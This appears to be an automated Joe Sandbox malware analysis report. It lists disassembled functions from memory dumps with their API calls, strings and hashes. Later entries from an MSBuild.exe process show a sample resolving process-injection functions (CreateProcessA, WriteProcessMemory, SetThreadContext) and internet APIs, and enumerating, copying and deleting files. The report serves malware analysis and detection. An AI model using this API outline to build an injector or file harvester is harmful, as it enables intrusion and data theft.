_memset.LIBCMT ref: 0087B0D1

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 45e449c6190dc4d40f1472ffcac5a2fe28d67320da91e5ae45d6af150042df11
Instruction ID: 10310e10af3528cda6c44a9eb69820acf71c446f1c3b35c9fbbfad99816d4f0f
Opcode Fuzzy Hash: 45e449c6190dc4d40f1472ffcac5a2fe28d67320da91e5ae45d6af150042df11
Instruction Fuzzy Hash: 3ED1C47191022DAADB20EB94DC82BD9B778FF04704F1154E7A608B3155EA70BF89CF66

Function 0084A371 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0084A438
___AdjustPointer.LIBCMT ref: 0084A45B
___AdjustPointer.LIBCMT ref: 0084A4F7

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: fe06349de7c92e1d7e9b65f2a33e54648dfc0483a8534926cdb78cc1d7ecabab
Instruction ID: 2698d5a3de5cc5889a883ad9e4c5ddc19740916b52ce988547c5f6690f9101fc
Opcode Fuzzy Hash: fe06349de7c92e1d7e9b65f2a33e54648dfc0483a8534926cdb78cc1d7ecabab
Instruction Fuzzy Hash: 3951BF7268120E9FDB2D8F98D845BBE77A4FF00314F24442DE915DA291E771EC80DB96

Function 00885293 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 008852B8
_memset.LIBCMT ref: 008852C7
_memset.LIBCMT ref: 00885487
_memset.LIBCMT ref: 00885499

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 007acfe128dbd6a396039c800466c609f44b16bf73c1002482cb7d666ce81df8
Instruction ID: ffa9cd12bb1bb3810a147f024323ed6fd6d440d593b94900c5bc29431a9f7c96
Opcode Fuzzy Hash: 007acfe128dbd6a396039c800466c609f44b16bf73c1002482cb7d666ce81df8
Instruction Fuzzy Hash: A151BAB1E4026A9BCB61EF28DC81A9DB3B8FF04704F4140E5A718B3152DA34AF868F55

Function 00883395 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 008833BA
_memset.LIBCMT ref: 0088342E
_memset.LIBCMT ref: 008834A2
_memset.LIBCMT ref: 00883516

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 187c398a88f79b641a3458f3f849a765e47e328ba59ae29fbf7aa4f88fe9f715
Instruction ID: 6f84cf509bacbe66821e827776f547258ab52b58566d8451b83b06f300fc72f8
Opcode Fuzzy Hash: 187c398a88f79b641a3458f3f849a765e47e328ba59ae29fbf7aa4f88fe9f715
Instruction Fuzzy Hash: 5A41A0B2D4021DBADB14FB64DC47FD97378FB08700F2444A6B605E7081EAB5AA488F96

Function 008939DD Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 008939E9

Part of subcall function 0089197C: __getptd_noexit.LIBCMT ref: 0089197F
Part of subcall function 0089197C: __amsg_exit.LIBCMT ref: 0089198C

__amsg_exit.LIBCMT ref: 00893A09
__lock.LIBCMT ref: 00893A19
_free.LIBCMT ref: 00893A49

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: 6ec43f6a926cf4549c68220cb4596d7ba53ae47db4fc954ed8e557c2d4e50172
Instruction ID: cb822b32944c8b57d5481001ba70570eaa4dbe42e414261ffa479f47bac4ce11
Opcode Fuzzy Hash: 6ec43f6a926cf4549c68220cb4596d7ba53ae47db4fc954ed8e557c2d4e50172
Instruction Fuzzy Hash: 20018031E01B21ABDF21BB68980A75D77A0FF04B20F195116E451E76E1CB34AE41CBDA

Function 008606EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,0085F713,00000000,00000001,00000000,00000000,?,00857B44,00000000,00000000,00000000), ref: 00860706
GetLastError.KERNEL32(?,0085F713,00000000,00000001,00000000,00000000,?,00857B44,00000000,00000000,00000000,00000000,00000000,?,008580CB,00000000), ref: 00860712

Part of subcall function 008606D8: CloseHandle.KERNEL32(FFFFFFFE,00860722,?,0085F713,00000000,00000001,00000000,00000000,?,00857B44,00000000,00000000,00000000,00000000,00000000), ref: 008606E8

___initconout.LIBCMT ref: 00860722

Part of subcall function 0086069A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,008606C9,0085F700,00000000,?,00857B44,00000000,00000000,00000000,00000000), ref: 008606AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,0085F713,00000000,00000001,00000000,00000000,?,00857B44,00000000,00000000,00000000,00000000), ref: 00860737

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 6edd3dde0c222fb598fea8af5af4a5f7577d1cf88c819f5e01bdc50b9fca12be
Instruction ID: 581ec3bdfb0f02227755e1e6b7ebe582a13f56ec51cfd13b2953e7e4ebbfaa9a
Opcode Fuzzy Hash: 6edd3dde0c222fb598fea8af5af4a5f7577d1cf88c819f5e01bdc50b9fca12be
Instruction Fuzzy Hash: 1AF06536544268BBCF621FD5DC0998A3FA6FF593A1F025010FE1DD5130DA728920DF95

Function 0084A060 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0084A09F
__IsNonwritableInCurrentImage.LIBCMT ref: 0084A153

Strings

csm, xrefs: 0084A13D

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: d9b2a48834d223244e56502784fdbc2db7287b425f2c3fe47a0a8304545a8d6f
Instruction ID: db13f24c55ed97b6fb3b4a832929e828ec11ca5562da6c76bb979d509a7b0729
Opcode Fuzzy Hash: d9b2a48834d223244e56502784fdbc2db7287b425f2c3fe47a0a8304545a8d6f
Instruction Fuzzy Hash: 52418B34A0021CEBCF14DF68C885A9EBBA5FF45324F148156E816EB392D775EA41CB92

Function 0084A96D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0084A992

Strings

RCC, xrefs: 0084A9AC
MOC, xrefs: 0084A9A4

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 4707b0d05742de316bdb1df417932766fd61494ceaaaa8bd0ff8660c93ab8096
Instruction ID: d28f0033ef737f22e9f73c88163107f02f877c774b1bf7b13140cc38eed96a11
Opcode Fuzzy Hash: 4707b0d05742de316bdb1df417932766fd61494ceaaaa8bd0ff8660c93ab8096
Instruction Fuzzy Hash: 3441557194021DAFCF1ADF98CA81AEEBBB5FF48304F198099FA04BB211D3359950DB52

Function 008415DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008415E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0084161E

Part of subcall function 00845178: _Yarn.LIBCPMT ref: 00845197
Part of subcall function 00845178: _Yarn.LIBCPMT ref: 008451BB

Strings

bad locale name, xrefs: 0084162C

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 80b989a5cf82b1f89692d5b3c3e885c0a4acca80c060a9fbf47d8ff695c5923b
Instruction ID: f6ebb9762c9b24c328569c831526e766c9da026c7787a34374304034c5a7aaeb
Opcode Fuzzy Hash: 80b989a5cf82b1f89692d5b3c3e885c0a4acca80c060a9fbf47d8ff695c5923b
Instruction Fuzzy Hash: EAF01775505B949E83319F7E8481547FBE4FE283203949A2FE0DEC3A12D734E404CB6A

Analysis Process: MSBuild.exePID: 3924, Parent PID: 6980COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00418A9A Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00417414), ref: 00418AAE
GetProcAddress.KERNEL32 ref: 00418AC5
GetProcAddress.KERNEL32 ref: 00418ADC
GetProcAddress.KERNEL32 ref: 00418AF3
GetProcAddress.KERNEL32 ref: 00418B0A
GetProcAddress.KERNEL32 ref: 00418B21
GetProcAddress.KERNEL32 ref: 00418B38
GetProcAddress.KERNEL32 ref: 00418B4F
GetProcAddress.KERNEL32 ref: 00418B66
GetProcAddress.KERNEL32 ref: 00418B7D
GetProcAddress.KERNEL32 ref: 00418B94
GetProcAddress.KERNEL32 ref: 00418BAB
GetProcAddress.KERNEL32 ref: 00418BC2
GetProcAddress.KERNEL32 ref: 00418BD9
GetProcAddress.KERNEL32 ref: 00418BF0
GetProcAddress.KERNEL32 ref: 00418C07
GetProcAddress.KERNEL32 ref: 00418C1E
GetProcAddress.KERNEL32 ref: 00418C35
GetProcAddress.KERNEL32 ref: 00418C4C
GetProcAddress.KERNEL32 ref: 00418C63
GetProcAddress.KERNEL32 ref: 00418C7A
GetProcAddress.KERNEL32 ref: 00418C91
GetProcAddress.KERNEL32 ref: 00418CA8
GetProcAddress.KERNEL32 ref: 00418CBF
GetProcAddress.KERNEL32 ref: 00418CD6
GetProcAddress.KERNEL32 ref: 00418CED
GetProcAddress.KERNEL32 ref: 00418D04
GetProcAddress.KERNEL32 ref: 00418D1B
GetProcAddress.KERNEL32 ref: 00418D32
GetProcAddress.KERNEL32 ref: 00418D49
GetProcAddress.KERNEL32 ref: 00418D60
GetProcAddress.KERNEL32 ref: 00418D77
GetProcAddress.KERNEL32 ref: 00418D8E
GetProcAddress.KERNEL32 ref: 00418DA5
GetProcAddress.KERNEL32 ref: 00418DBC
GetProcAddress.KERNEL32 ref: 00418DD3
GetProcAddress.KERNEL32 ref: 00418DEA
GetProcAddress.KERNEL32 ref: 00418E01
GetProcAddress.KERNEL32 ref: 00418E18
GetProcAddress.KERNEL32 ref: 00418E2F
GetProcAddress.KERNEL32 ref: 00418E46
GetProcAddress.KERNEL32 ref: 00418E5D
GetProcAddress.KERNEL32 ref: 00418E74
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418E8A
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418EA0
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418EB6
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418ECC
GetProcAddress.KERNEL32(ResumeThread), ref: 00418EE2
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418EF8
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418F0E
LoadLibraryA.KERNEL32(00417414), ref: 00418F1F
LoadLibraryA.KERNEL32 ref: 00418F30
LoadLibraryA.KERNEL32 ref: 00418F41
LoadLibraryA.KERNEL32 ref: 00418F52
LoadLibraryA.KERNEL32 ref: 00418F63
LoadLibraryA.KERNEL32 ref: 00418F74
LoadLibraryA.KERNEL32 ref: 00418F85
LoadLibraryA.KERNEL32 ref: 00418F96
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418FA6
GetProcAddress.KERNEL32(75FD0000), ref: 00418FC1
GetProcAddress.KERNEL32 ref: 00418FD8
GetProcAddress.KERNEL32 ref: 00418FEF
GetProcAddress.KERNEL32 ref: 00419006
GetProcAddress.KERNEL32 ref: 0041901D
GetProcAddress.KERNEL32(73550000), ref: 0041903C
GetProcAddress.KERNEL32 ref: 00419053
GetProcAddress.KERNEL32 ref: 0041906A
GetProcAddress.KERNEL32 ref: 00419081
GetProcAddress.KERNEL32 ref: 00419098
GetProcAddress.KERNEL32 ref: 004190AF
GetProcAddress.KERNEL32 ref: 004190C6
GetProcAddress.KERNEL32 ref: 004190DD
GetProcAddress.KERNEL32(763B0000), ref: 004190F8
GetProcAddress.KERNEL32 ref: 0041910F
GetProcAddress.KERNEL32 ref: 00419126
GetProcAddress.KERNEL32 ref: 0041913D
GetProcAddress.KERNEL32 ref: 00419154
GetProcAddress.KERNEL32(750F0000), ref: 00419173
GetProcAddress.KERNEL32 ref: 0041918A
GetProcAddress.KERNEL32 ref: 004191A1
GetProcAddress.KERNEL32 ref: 004191B8
GetProcAddress.KERNEL32 ref: 004191CF
GetProcAddress.KERNEL32 ref: 004191E6
GetProcAddress.KERNEL32(75A50000), ref: 00419205
GetProcAddress.KERNEL32 ref: 0041921C
GetProcAddress.KERNEL32 ref: 00419233
GetProcAddress.KERNEL32 ref: 0041924A
GetProcAddress.KERNEL32 ref: 00419261
GetProcAddress.KERNEL32 ref: 00419278
GetProcAddress.KERNEL32 ref: 0041928F
GetProcAddress.KERNEL32 ref: 004192A6
GetProcAddress.KERNEL32 ref: 004192BD
GetProcAddress.KERNEL32(75070000), ref: 004192D8
GetProcAddress.KERNEL32 ref: 004192EF
GetProcAddress.KERNEL32 ref: 00419306
GetProcAddress.KERNEL32 ref: 0041931D
GetProcAddress.KERNEL32 ref: 00419334
GetProcAddress.KERNEL32(74E50000), ref: 0041934F
GetProcAddress.KERNEL32 ref: 00419366
GetProcAddress.KERNEL32(75320000), ref: 00419381
GetProcAddress.KERNEL32 ref: 00419398
GetProcAddress.KERNEL32(6F060000), ref: 004193B7
GetProcAddress.KERNEL32 ref: 004193CE
GetProcAddress.KERNEL32 ref: 004193E5
GetProcAddress.KERNEL32 ref: 004193FC
GetProcAddress.KERNEL32 ref: 00419413
GetProcAddress.KERNEL32 ref: 0041942A
GetProcAddress.KERNEL32 ref: 00419441
GetProcAddress.KERNEL32 ref: 00419458
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 0041946E
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 00419484
GetProcAddress.KERNEL32(74E00000), ref: 0041949F
GetProcAddress.KERNEL32 ref: 004194B6
GetProcAddress.KERNEL32 ref: 004194CD
GetProcAddress.KERNEL32 ref: 004194E4
GetProcAddress.KERNEL32(74DF0000), ref: 004194FF
GetProcAddress.KERNEL32(6F9C0000), ref: 0041951A
GetProcAddress.KERNEL32 ref: 00419531
GetProcAddress.KERNEL32 ref: 00419548
GetProcAddress.KERNEL32 ref: 0041955F
GetProcAddress.KERNEL32(6CE40000,SymMatchString), ref: 00419579

Strings

GetThreadContext, xrefs: 00418E90
SetThreadContext, xrefs: 00418EFE
HttpQueryInfoA, xrefs: 0041945E
ResumeThread, xrefs: 00418ED2
VirtualAllocEx, xrefs: 00418EBC
dbghelp.dll, xrefs: 00418F9C
SymMatchString, xrefs: 00419573
CreateProcessA, xrefs: 00418E7A
ReadProcessMemory, xrefs: 00418EA6
InternetSetOptionA, xrefs: 00419474
WriteProcessMemory, xrefs: 00418EE8

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: aa0f42d6bece18c552eb1cc604d7ce581e092ba0f5388f60eaf4689f17314b05
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: D752F475910312AFEF1ADFA0FD188243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414CC8 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 297
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414D1C
FindFirstFileA.KERNEL32(?,?), ref: 00414D33
_memset.LIBCMT ref: 00414D4F
_memset.LIBCMT ref: 00414D60
StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
wsprintfA.USER32 ref: 00414DC2
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
wsprintfA.USER32 ref: 00414DFF
wsprintfA.USER32 ref: 00414E16

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

_memset.LIBCMT ref: 00414E28
lstrcatA.KERNEL32(?,?), ref: 00414E3D
strtok_s.MSVCRT ref: 00414E82
_memset.LIBCMT ref: 00414E94
lstrcatA.KERNEL32(?,?), ref: 00414EA9
strtok_s.MSVCRT ref: 00414EC2
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414ED7
DeleteFileA.KERNEL32(?,00436A28,0043661D), ref: 00414F90
CopyFileA.KERNEL32(?,?,00000001), ref: 00414FA0

Part of subcall function 00412166: CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414FB6
DeleteFileA.KERNEL32(?,00000000,?,000003E8,00000000), ref: 00414FC1
strtok_s.MSVCRT ref: 00414FE7
FindNextFileA.KERNELBASE(?,?), ref: 00415105
FindClose.KERNEL32(?), ref: 00415125

Strings

%s\%s, xrefs: 00414E10
%s\%s, xrefs: 00414DBC
%s\%s\%s, xrefs: 00414DF9
%s\*.*, xrefs: 00414D10

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$_memsetlstrcatwsprintf$Findlstrcpystrtok_s$Delete$CloseCopyCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 956187361-332874205
Opcode ID: 0373f7e33e9712a6aaa9c354e8b2e5c0fd8c343b66f7e6b9ee176c6bff407bf1
Instruction ID: b7eba5cac22a36ead9a6892618febcd79da0d35a5e48c612e9e7bf25cba82c94
Opcode Fuzzy Hash: 0373f7e33e9712a6aaa9c354e8b2e5c0fd8c343b66f7e6b9ee176c6bff407bf1
Instruction Fuzzy Hash: C7C12AB1E0021AABCF22EF64DC45AEE777DAF08305F0140A6FA09B3151DB799B858F55

Function 00409D1C Relevance: 44.4, APIs: 20, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650
